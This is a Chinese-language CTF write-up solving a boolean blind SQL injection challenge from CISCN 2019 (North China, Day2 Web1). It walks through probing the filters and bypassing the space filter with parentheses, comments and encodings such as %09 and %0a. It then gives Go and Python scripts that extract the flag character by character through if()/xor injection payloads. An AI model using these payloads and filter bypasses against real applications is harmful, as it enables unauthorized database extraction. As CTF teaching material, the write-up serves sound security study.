CISCN2019 华北赛区 Day2 Web1 
过程  启动环境,打开页面 
ciscn_2019_web_northern-china-web1 
 
   好久没做了,拿到有点一脸懵逼… 
  不过看到提示说是花式盲注,就按照sql注入的思路先试一下 
  随便输入了一些值看了下返回结果 
  首先是一些正常输入吧,1和2输入是有一句不同的话返回, 
ciscn_2019_web_northern-china-web1 
 
 
ciscn_2019_web_northern-china-web1 
 
   其它数字返回"Error Occured When Fetch Result", 
ciscn_2019_web_northern-china-web1 
 
   输入别的字符是返回"bool(false)" 
ciscn_2019_web_northern-china-web1 
 
   然后随便输入一些注入语句尝试,会发现有规则过滤 
ciscn_2019_web_northern-china-web1 
 
   这里1,2可以返回不同的页面,然后上面的bool(false)也算提示吧,基本就会想到用bool注入 
  常用的bool注入形式 xx and xx,这里and被过滤了,这种形式不行,而且我们的逻辑是对的输入1错的输入2,这样的形式 
  这就肯定想到用if, if (ascii(substr((select flag from flag),1,1))=115 ,1,2)采用这样的形式,但尝试了一下返回被检查到注入攻击,但试了下上面的关键字发现都可以用… 
  菜鸡挠头… 
  偷偷看下wp发现空格也是被过滤的… 
  查了下绕过空格检测的方法 
  1.通过注释绕过空格 
  注释即/**/ 
  通过注释取代空格 
  eg:  or//‘me’//=/**/‘isme’ 
  2.通过括号绕过空格 
  eg: and(1=0) 
   试了下1会被检查到不行 
  2 使用括号后 
  if(ascii(substr((select(flag)from(flag)),1,1))=115,1,2) 
  发现返回了"Do you want to be my girlfriend?" 
  说明可行,这样的话写个脚本简单的来跑下 
  不知道长度就随便写个较大的长度保证能跑完flag就行 
package main
import(
"net/http"
"net/url"
"io/ioutil"
"fmt"
"strconv"
"strings"
)
func main(){
var flag string
for j:=1; j<50; j++{
for i:=32; i<128; i++{
resp, _ := http.PostForm("http://127.0.0.1:8302/index.php",
url.Values{"id": {"if(ascii(substr((select(flag)from(flag)),"+strconv.Itoa(j)+",1))="+strconv.Itoa(i)+",1,2)"}})
defer resp.Body.Close()
body, _ := ioutil.ReadAll(resp.Body)
if strings.Contains(string(body), "glzjin"){
flag += string(i)
}
}
}
fmt.Println(flag)
}
    为什么用go语言写写这个脚本呢,可能也是闲的吧… 
(
ciscn_2019_web_northern-china-web1 
 
 
  可以看到成功拿到了flag 
总结  这道题怎么说了也不算难吧,考查了sql的盲注,但对于我这样的菜鸡依旧解决困难 
  总是觉得sql注入的题不好做,想了想,主要还是sql注入它很少有常规的注入能让你直接sqlmap就能跑出来的情况 
  一般都会设置各种过滤或者需要各种骚操作去绕过,而这些首先需要耐心吧,毕竟规则这些在不看源码的情况一次次去尝试是很需要耐心的,其次还需要经验吧,比如上面的过滤空格没遇到过,就直接懵逼,最后可能再需要加点灵感吧 
  然后看了大佬的wp发现绕过空格还有下面的一些手段 
  空格的绕过有这些方法我测试是可以的 
%09 %0a %0b %0c %0d /**/ /*!*/或者直接tab 
%20 好像没法绕,%00截断好像也影响sql语句的执行 
或者用括号也可以。任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。 
 python版脚本: import requests
import time
url = "http://xuenixiang.cn:20486"
res = ''
for i in range(1,51):
        print(i)
        left = 31
        right = 126
        mid = left + ((right - left)>>1)
        while left < right:                
                payload = "1^(ascii(substr((select(flag)from(flag)),%d,1))>%d)"%(i,mid)
                data = {"id":payload}
                r = requests.post(url = url, data = data)                
                #print(mid)
                if r.status_code == 429:
                        print('too fast')
                        time.sleep(1)
                if "Hello" not in r.text:
                        left = mid + 1
                elif "Hello" in r.text:
                        right = mid 
                mid = left + ((right-left)>>1)
        res += chr(mid)
        print(str(mid),res)
  
ciscn_2019_web_northern-china-web1 
 
 
  |